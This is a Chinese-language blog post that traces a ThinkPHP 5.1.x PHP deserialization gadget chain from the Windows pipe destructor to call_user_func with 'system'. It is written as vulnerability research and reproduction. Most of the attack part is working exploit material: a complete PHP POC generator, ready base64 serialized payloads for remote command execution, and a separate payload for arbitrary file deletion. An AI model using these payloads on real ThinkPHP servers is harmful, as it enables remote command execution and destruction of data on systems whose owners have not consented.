Thinkphp 反序列化深入分析pop利用鏈

環境搭建

Thinkphp 5.1.37 ----- 應該是5.1.x可以

php 7.0.12

composer create-project topthink/think=5.1.37 v5.1.37

鋪墊知識

1. PHP反序列化原理
PHP反序列化就是在讀取一段字符串然後將字符串反序列化成php對象。
2. 在PHP反序列化的過程中會自動執行一些魔術方法

方法名 ---------------調用條件

__call	調用不可訪問或不存在的方法時被調用
__callStatic	調用不可訪問或不存在的靜態方法時被調用
__clone	進行對象clone時被調用,用來調整對象的克隆行爲
__constuct	構建對象的時被調用;
__debuginfo	當調用var_dump()打印對象時被調用(當你不想打印所有屬性)適用於PHP5.6版本
__destruct	明確銷燬對象或腳本結束時被調用;
__get	讀取不可訪問或不存在屬性時被調用
__invoke	當以函數方式調用對象時被調用
__isset	對不可訪問或不存在的屬性調用isset()或empty()時被調用
__set	當給不可訪問或不存在屬性賦值時被調用
__set_state	當調用var_export()導出類時,此靜態方法被調用。用__set_state的返回值做爲var_export的返回值。
__sleep	當使用serialize時被調用,當你不需要保存大對象的所有數據時很有用
__toString	當一個類被轉換成字符串時被調用
__unset	對不可訪問或不存在的屬性進行unset時被調用
__wakeup	當使用unserialize時被調用,可用於做些對象的初始化操作

3. 反序列化的常見起點

__wakeup 一定會調用

__destruct 一定會調用

__toString 當一個對象被反序列化後又被當做字符串使用

4.反序列化的常見中間跳板:

__toString 當一個對象被當做字符串使用

__get 讀取不可訪問或不存在屬性時被調用

__set 當給不可訪問或不存在屬性賦值時被調用

__isset 對不可訪問或不存在的屬性調用isset()或empty()時被調用

形如 $this->$func();

5.反序列化的常見終點:

__call 調用不可訪問或不存在的方法時被調用

call_user_func 一般php代碼執行都會選擇這裏

call_user_func_array 一般php代碼執行都會選擇這裏

6.Phar反序列化原理以及特徵

phar://僞協議會在多個函數中反序列化其metadata部分

受影響的函數包括不限於如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

漏洞起點

漏洞起點在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函數。

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

__destruct()裏面調用了兩個函數,我們跟進removeFiles()函數。

在這裏插入圖片描述
這裏看到 unlink函數
這裏同時也存在一個任意文件刪除的漏洞,Payload構造: 必須使用namespace設置命名空間!

<?php
namespace think\process\pipes;

class Pipes{
}
class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=['D:\\phpStudy\\PHPTutorial\\WWW\\tp5\\install.lock'];
    }
}
echo base64_encode(serialize(new Windows()));

輸出結果

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ0OiJEOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcdHA1XGluc3RhbGwubG9jayI7fX0=

這裏只需要一個反序列化漏洞的觸發點,便可以實現任意文件刪除。
自行構造一個利用點,試用一下
復現成功

在這裏插入圖片描述

rce部分起點

在removeFiles()中使用了file_exists對 filename進行了處理。$filename會被作爲字符串處理。
在這裏插入圖片描述
而__toString 當一個對象被反序列化後又被當做字符串使用時會被觸發,我們通過傳入一個對象來觸發__toString 方法。我們全局搜索__toString方法。

在這裏插入圖片描述

這裏我們選擇 \thinkphp\library\think\model\concern\Conversion.php
Conversion類的第224行, 這裏調用了一個toJson()方法。

\thinkphp\library\think\model\concern\Conversion.php

   public function __toString()
    {
        return $this->toJson();
    }

跟進toJson()方法

\thinkphp\library\think\model\concern\Conversion.php

 public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

繼續toArray()方法

thinkphp\library\think\model\concern\Conversion.php
在這裏插入圖片描述


  • 目的

我們需要在toArray()函數中尋找一個滿足$可控變量->方法(參數可控)的點

  • 首先,這裏調用了一個getRelation方法。
  • 我們跟進getRelation(),它位於Attribute類中

thinkphp\library\think\model\concern\Conversion.php
在這裏插入圖片描述
這裏調用了getRelation方法,跟入後得到代碼:

thinkphp\library\think\model\concern\Conversion.php

  public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

由於getRelation()下面的if語句爲if (!$relation),所以這裏不用理會,返回空即可。

在這裏插入圖片描述
然後調用了getAttr方法,我們跟進getAttr方法

thinkphp\library\think\model\concern\Conversion.php

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
		....
		.....
		return $value;

繼續跟進getData方法

thinkphp\library\think\model\concern\Attribute.php

public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

通過查看getData函數我們可以知道relationrelation的值爲this->data[$name],需要注意的一點是這裏類的定義使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 實現了一種代碼複用的方法,稱爲 trait。通過在類中使用use
關鍵字,聲明要組合的Trait名稱。所以,這裏類的繼承要使用use關鍵字。然後我們需要找到一個子類同時繼承了Attribute類和Conversion類。

我們可以在\thinkphp\library\think\Model.php中找到這樣一個類

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;

我們梳理一下目前我們需要控制的變量

  • $files位於類Windows
  • $append位於類Conversion
  • $data位於類Attribute

引用大佬的圖,簡單的看一下,後面還有梳理
在這裏插入圖片描述

代碼執行點分析

這裏的$this->append是我們可控的(在conversion中),然後通過getRelation($key),但是下面有一個!$relation,所以我們只要置空即可

然後調用getAttr($key),在調用getData($name)函數,這裏$this->data['name']我們可控(在attribute中)

$relation 變量來自 $this->data[$name]
$name 變量來自 $this->append

之後回到toArray函數,通過這一句話$relation->visible($name); 我們控制$relation爲一個類對象,調用不存在的visible方法,會自動調用__call方法,那麼我們找到一個類對象沒有visible方法

我們現在缺少一個進行代碼執行的點,在這個類中需要沒有visible方法。並且最好存在__call方法。

因爲__call一般會存在__call_user_func和__call_user_func_array,php代碼執行的終點經常選擇這裏。我們不止一次在Thinkphp的rce中見到這兩個方法。

可以在/thinkphp/library/think/Request.php,找到一個__call函數。__call 調用不可訪問或不存在的方法時被調用。

下面是引用大佬的圖,很清晰的鏈條

在這裏插入圖片描述

call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);

找到
/thinkphp/library/think/Request.php

 ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....

$hook這裏是可控的,所以call_user_func_array(array(任意類,任意方法),$args) ,這樣我們就可以調用任意類的任意方法了。,但是array_unshift()向數組插入新元素時會將新數組的值將被插入到數組的開頭,$args第一個值不能夠控制。這種情況下我們是構造不出可用的payload的。由於$args第一個值不能夠控制,但是構造不出來參數可用的payload,因爲第一個參數是$this對象

call_user_func_array(array(任意類,任意方法),$args) ,這樣我們就可以調用任意類的任意方法了。
雖然第330行用 array_unshift 函數把本類對象 $this 放在數組變量 $args 的第一個,但是我們可以尋找不受這個參數影響的方法

ThinkPHP 歷史 RCE 漏洞的人可能知道, think\Request 類的 input 方法經常是,相當於 call_user_func($filter,$data) 。但是前面, $args 數組變量的第一個元素,是一個固定死的類對象,所以這裏我們不能直接調用 input 方法,而應該尋找調用 input 的方法。

最終產生rce的地方是在input函數當中

在input函數中有一個 $this->filterValue($data, $name, $filter);

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調用函數或者方法過濾
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {

但是這裏的$value不能自己進行控制,所以需要往上找可以控制value的地方,共發現以下函數:

  1. cookie
  2. input 但是這裏的input參數並不是可控的:
....
   public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
       // 獲取原始數據
       return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
       // 解析name
       if (strpos($name, '/')) {
         list($name, $type) = explode('/', $name);
       }

       $data = $this->getData($data, $name);

       if (is_null($data)) {
         return $default;
       }

       if (is_object($data)) {
         return $data;
       }
    }

    // 解析過濾器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
       array_walk_recursive($data, [$this, 'filterValue'], $filter);
       if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指針
                $this->arrayReset($data);
            }
     } else {
        $this->filterValue($data, $name, $filter);
     }

這裏$filter可控,data參數不可控,而且$name = (string) $name;這裏如果直接調用input的話,執行到這一句的時候會報錯,直接退出,所以繼續回溯,目的是要找到可以控制$name變量,使之最好是字符串。同時也要找到能控制data參數

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
       $filter = [];
    } else {
       $filter = $filter ?: $this->filter;
       if (is_string($filter) && false === strpos($filter, '/')) {
         $filter = explode(',', $filter);
       } else {
         $filter = (array) $filter;
       }
    }

    $filter[] = $default;

    return $filter;
}
protected function getData(array $data, $name)
{
    foreach (explode('.', $name) as $val) {
       if (isset($data[$val])) {
         $data = $data[$val];
       } else {
         return;
       }
    }

    return $data;
}

我們繼續找一個調用input函數的地方。我們找到了param函數。

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
       $method = $this->method(true);

       // 自動獲取請求變量
       switch ($method) {
         case 'POST':
          $vars = $this->post(false);
          break;
         case 'PUT':
         case 'DELETE':
         case 'PATCH':
          $vars = $this->put(false);
          break;
         default:
          $vars = [];
       }

       // 當前請求參數和URL地址中的參數合併
       $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

       $this->mergeParam = true;
    }

    if (true === $name) {
       // 獲取包含文件上傳信息的數組
       $file = $this->file();
       $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

       return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}

可以看到這裏this->param完全可控,是通過get傳參數進去的,那麼也就是說input函數中的$data參數可控,也就是call_user_func$value,現在差一個條件,那就是name是字符串,繼續回溯。
這裏仍然是不可控的,所以我們繼續找調用param函數的地方。找到了isAjax函數

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

在isAjax函數中,我們可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函數中的nameparamname可控。param函數中的name可控就意味着input函數中的$name可控。

可以導致RCE
回溯一下

param()函數 可以獲得$_GET數組並賦值給$this->param

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

array_merge()數組合並起來
這句代碼會將$_GET數組賦值到$this->param中,在往下執行就來到了:

return $this->input($this->param, $name, $default, $filter);

再回到input函數中

$data = $this->getData($data, $name);

$name的值來自於$this->config['var_ajax'],我們跟進getData函數。

 protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }
\\

這裏$data直接等於 $data = $data[$val] = $data[$name]

然後就是解析過濾器,跟進getFilter函數

$filter = $this->getFilter($filter, $default);
protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

在這裏插入圖片描述

就是$filter可控
最後回到input函數 關鍵代碼

在這裏插入圖片描述

最後導致RCE的代碼

  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調用函數或者方法過濾
                $value = call_user_func($filter, $value);
  • filterValue.value = 第一個通過GET請求的值input.data
  • filters.key = 第一個GET的鍵
  • filters.filters = input.filters

上大佬的圖

在這裏插入圖片描述
總的利用鏈
在這裏插入圖片描述

到這裏思路有了,回過頭來看我們poc的利用過程,首先在上一步toArray()方法。創建了一個Request()對象,然後會觸發poc裏的__construct()方法,接着new Request()-> visible($name),該對象調用了一個不存在的方法會觸發__call方法,看一下__construct()方法內容

function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }

最終POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["zeo"=>["calc.exe","calc"]];
        $this->data = ["zeo"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表單請求類型僞裝變量
        'var_method'       => '_method',
        // 表單ajax僞裝變量
        'var_ajax'         => '_ajax',
        // 表單pjax僞裝變量
        'var_pjax'         => '_pjax',
        // PATHINFO變量名 用於兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO獲取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默認全局過濾方法 用逗號分隔多個
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理標識
        'https_agent_name' => '',
        // IP代理獲取標識
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL僞靜態後綴
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

我們把payload通過POST傳過去,然後通過GET請求獲取需要執行的命令

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

復現成功
在這裏插入圖片描述

參考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/
https://blog.csdn.net/qq_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php?tid=52825&extra=&page=1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章